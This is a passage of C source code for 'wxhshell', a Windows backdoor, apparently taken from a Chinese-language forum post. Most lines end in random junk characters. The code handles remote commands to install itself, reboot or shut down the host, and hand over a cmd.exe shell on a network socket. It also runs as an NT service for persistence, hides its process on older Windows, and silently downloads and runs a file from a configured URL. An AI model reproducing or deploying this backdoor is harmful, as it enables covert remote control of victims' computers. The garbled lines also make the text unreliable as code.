    switch(cmd[0]) { 5]cmDk  
  [?u iM^&  
  // 帮助 }R5>ja0  
  case '?': { *qKPZb~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vy W/f  
    break; #W[/N|~wx  
  } j|3p.Cy  
  // 安装 TS+itU62  
  case 'i': { z7'3d7r?  
    if(Install()) y BF3Lms  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K(RG:e~R0i  
    else ]~~PD?jh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UO^"<0u  
    break; &UH .e  
    } v-2_#  
  // 卸载 <+D(GH};  
  case 'r': { pk2OZ,14Mj  
    if(Uninstall()) E/x``,k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V 9Bi2\s*  
    else _?Zg$7VJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >?s[g)np  
    break; 4UD7!  
    } >mRA|0$  
  // 显示 wxhshell 所在路径 :lz@G 4 =C  
  case 'p': { KP" lz  
    char svExeFile[MAX_PATH]; a$!|)+  
    strcpy(svExeFile,"\n\r"); *BzqAi0  
      strcat(svExeFile,ExeFile); d dB}mk6  
        send(wsh,svExeFile,strlen(svExeFile),0); 4:<74B  
    break; 5Mm><"0  
    } *(~7H6  
  // 重启 .G#wXsJj  
  case 'b': { A&_H%]{<:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AcV 2l  
    if(Boot(REBOOT)) 'Ba Ba=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $/</J]2`;  
    else { +{Yd\{9  
    closesocket(wsh); 9[}L=n  
    ExitThread(0); [#$:X+lw  
    } 7Pspx'u  
    break; ^(7<L<H  
    } !4zSE,1  
  // 关机 Dz$GPA   
  case 'd': { U{(B)dFTH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $%9.qy\8  
    if(Boot(SHUTDOWN)) !v(j#N< m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C5mq@$6  
    else { SQ7Ws u>T@  
    closesocket(wsh); 7i?"akr4  
    ExitThread(0); ximW!y7  
    } b4%sOn,  
    break; csP 5R3  
    } ?m5@ 63 5  
  // 获取shell 2(V;OWY(@  
  case 's': { xu9K\/{7  
    CmdShell(wsh); SYkLia(Ty  
    closesocket(wsh); v|Y:'5`V  
    ExitThread(0); guJS;VC6U  
    break; m'D_zb9+  
  } Y?Ph%i2E  
  // 退出 n$B SO  
  case 'x': { ';"W0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %D|p7&  
    CloseIt(wsh);  ,r\  
    break; 2LS03 27  
    } @ *W)r~ "~  
  // 离开 * S4IMfp  
  case 'q': { -0[?6.(s"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yn=BO`sgW  
    closesocket(wsh); @jb -u S  
    WSACleanup(); pC<~\RR  
    exit(1); e7X#C)  
    break; ,S(^r1R   
        } eZpyDw C{  
  } OxGKtnAjf  
  } ( )K,~  
1#LXy%^tO  
  // 提示信息 ._2#89V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +[386  
} 7,0^|P  
  } G&qO{" Js  
.f)&;Af^  
  return; F*" "n  
} wyF' B  
+u+|9@  
// shell模块句柄 nT.i|(xd.  
int CmdShell(SOCKET sock) i\E}!Rwl+  
{ z7B>7}i-  
STARTUPINFO si; g \]2?vY.  
ZeroMemory(&si,sizeof(si)); ;MH((M/AN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }6zo1"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G Y??q8  
PROCESS_INFORMATION ProcessInfo; N<&"_jzm  
char cmdline[]="cmd"; >fG=(1"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -3-*T)  
  return 0; (bpO>4(S  
} ko-|hBNv  
Mf'T\^-!  
// 自身启动模式 i=Nq`BoQf  
int StartFromService(void) &sh5|5EC  
{ -!d'!; ]  
typedef struct ^d2#J  
{ e5\/:HpI  
  DWORD ExitStatus; kn2s,%\`<p  
  DWORD PebBaseAddress; 2% ],0,o  
  DWORD AffinityMask; @PH`Wn#S  
  DWORD BasePriority; Ht >5R  
  ULONG UniqueProcessId; KO*# ^+g  
  ULONG InheritedFromUniqueProcessId; U$zd3a_(  
}   PROCESS_BASIC_INFORMATION; vTE3-v[i  
kD_Ac{{<  
PROCNTQSIP NtQueryInformationProcess; Y#aL]LxZE  
$;GH -+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vl"20):  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <%d/"XNg[D  
|"}F cS y  
  HANDLE             hProcess; T!![7Rs  
  PROCESS_BASIC_INFORMATION pbi; c~1+5&  
0PfjD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B49: R >  
  if(NULL == hInst ) return 0; 6-"@j@l5<  
ky2n%<0]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'mwgHo<u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q,pnh!.-c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "==fWf  
=rL%P~0wq  
  if (!NtQueryInformationProcess) return 0; W4MU^``   
I8ZBs0sfF{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zG IxmJ.  
  if(!hProcess) return 0; ANIx0*Yl(  
Ax"]+pb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @4)NxdOE  
Oy(f h%k#  
  CloseHandle(hProcess); 3C[#_&_l  
~PaEhj&8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }%^N9AA8  
if(hProcess==NULL) return 0; dWc'RwL  
j p"hbV  
HMODULE hMod; \kN?7b^  
char procName[255]; zWs ("L(#s  
unsigned long cbNeeded; }4Q~<2  
3?%?J^/a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /RG>n  
k7L-J  
  CloseHandle(hProcess); +8xC%eE  
ww? AGd  
if(strstr(procName,"services")) return 1; // 以服务启动 j\hI, mc  
e]9Z]a2  
  return 0; // 注册表启动 ` x|=vu-  
} qV$\E=%fhM  
[SKN}:D  
// 主模块 0Dt-!Q7  
int StartWxhshell(LPSTR lpCmdLine) Ji#eA[  
{ o;[?b'\[d  
  SOCKET wsl; u~pBMg ,  
BOOL val=TRUE; MpNgp )%>  
  int port=0; 8-|| Nh  
  struct sockaddr_in door; #fGI#]SG?  
{s7 3(B"  
  if(wscfg.ws_autoins) Install(); =)c^ik%F&  
{sOWDM5  
port=atoi(lpCmdLine); E|,RM;7  
ur$=%3vM  
if(port<=0) port=wscfg.ws_port; (IXUT6|  
VY#nSF`  
  WSADATA data; ?zk#}Ex1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A<s zY92&5  
k_?Z6RE>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <u_ vL WS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TSKT6_IJw  
  door.sin_family = AF_INET; d ug^oc1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5+DId7d'n  
  door.sin_port = htons(port); ]&;K:#J  
?-v]+<$Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =w5]o@  
closesocket(wsl); P Dgd'y  
return 1; '.B5CQ  
} L*#W?WMM v  
9)?_[|2  
  if(listen(wsl,2) == INVALID_SOCKET) { ~T^,5Tz1j  
closesocket(wsl); cM_!_8o  
return 1; ^TZ`1:oL#  
} ;Yve m  
  Wxhshell(wsl); +HT?> k  
  WSACleanup(); H$ZLtPv5  
91#rP|88;  
return 0; ;5 p;i 8m  
wJc`^gj  
} :.P{}\/  
@ogj -ol&  
// 以NT服务方式启动 }&LVD$Bz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R>D[I.  
{ R wTzS;  
DWORD   status = 0; <kCOg8<y :  
  DWORD   specificError = 0xfffffff; @P )2ZGG  
Di"Tv<RlQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "wR1=&gk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8l l}"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q o6~)Aws  
  serviceStatus.dwWin32ExitCode     = 0; &_$0lI DQ  
  serviceStatus.dwServiceSpecificExitCode = 0; Qv W vS9]  
  serviceStatus.dwCheckPoint       = 0; ";U#aK1p  
  serviceStatus.dwWaitHint       = 0; *djVOC  
) ^`V{iD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G]n_RP$G  
  if (hServiceStatusHandle==0) return;  Al1}Ir   
tbXl5x0  
status = GetLastError(); _)S['[  
  if (status!=NO_ERROR) ()Q#@?c~  
{ %"Ia]0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (M2hK[  
    serviceStatus.dwCheckPoint       = 0; M?_7*o]!  
    serviceStatus.dwWaitHint       = 0; 7n)ob![\d  
    serviceStatus.dwWin32ExitCode     = status; /!'Png0!  
    serviceStatus.dwServiceSpecificExitCode = specificError; w m|WER*.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YTD&swk  
    return; 9|WV28PK:  
  } ][dst@?8Oz  
6DG%pF,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "Q`Le{  
  serviceStatus.dwCheckPoint       = 0; Ay6]vU  
  serviceStatus.dwWaitHint       = 0; j#jwK(:]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7?;ZE:  
} '2Lx>nByk  
m}(M{^\|  
// 处理NT服务事件,比如:启动、停止 Dk Ef;P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0|DyYu  
{ fcTg/EXn  
switch(fdwControl) &u!MI  
{ -asjBSo*D  
case SERVICE_CONTROL_STOP: skYHPwJdW  
  serviceStatus.dwWin32ExitCode = 0; VGf&'nL@,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?PYZW5  
  serviceStatus.dwCheckPoint   = 0; 5\Rg%Ezl  
  serviceStatus.dwWaitHint     = 0; C]Q`!e  
  { t$&'mJ_-w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cGyR_8:2cv  
  } Nwo*tb:  
  return; +|--}iE5n  
case SERVICE_CONTROL_PAUSE: X%$1%)C9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vaLP_V  
  break; vScEQS$>  
case SERVICE_CONTROL_CONTINUE: n/{ pQ&B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V aoqI  
  break; ,A5}HRW%  
case SERVICE_CONTROL_INTERROGATE: Kk,u{EA  
  break; R=3|(R+kA  
}; +K s3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "rrw~  
} vm7ag 7@O  
Rk-G| 52g  
// 标准应用程序主函数 zE Ly1v\"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EbeSl+iMx_  
{ DX^8w?t  
Xf[;^?]X  
// 获取操作系统版本 r PTfwhs  
OsIsNt=GetOsVer(); $Xh5N3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0 ;].q*|#  
<MKX F V  
  // 从命令行安装 !>N+a3   
  if(strpbrk(lpCmdLine,"iI")) Install(); kCALJRf~d  
"=ki_1/P  
  // 下载执行文件 QUm[7<"  
if(wscfg.ws_downexe) {  ^Kl*}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j/jFS]iC  
  WinExec(wscfg.ws_filenam,SW_HIDE); QnJLTBv  
} /#z"c]#  
^ E_chx-e}  
if(!OsIsNt) { gC F9XKW  
// 如果时win9x,隐藏进程并且设置为注册表启动 u_}UU 2  
HideProc(); K^",LCJA  
StartWxhshell(lpCmdLine); k[}WYs+r  
} +s6v!({Z  
else K^h9\< w  
  if(StartFromService()) [&IcIZ  
  // 以服务方式启动 (+6N)9rj`/  
  StartServiceCtrlDispatcher(DispatchTable); #Cx#U"~G`  
else Z^BZH/I?  
  // 普通方式启动 PC\p>6xT  
  StartWxhshell(lpCmdLine); ?-~<Vc*  
wA"d?x  
return 0; v$xurj:v#i  
}
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只看该作者 1 发表于: 2006-10-10
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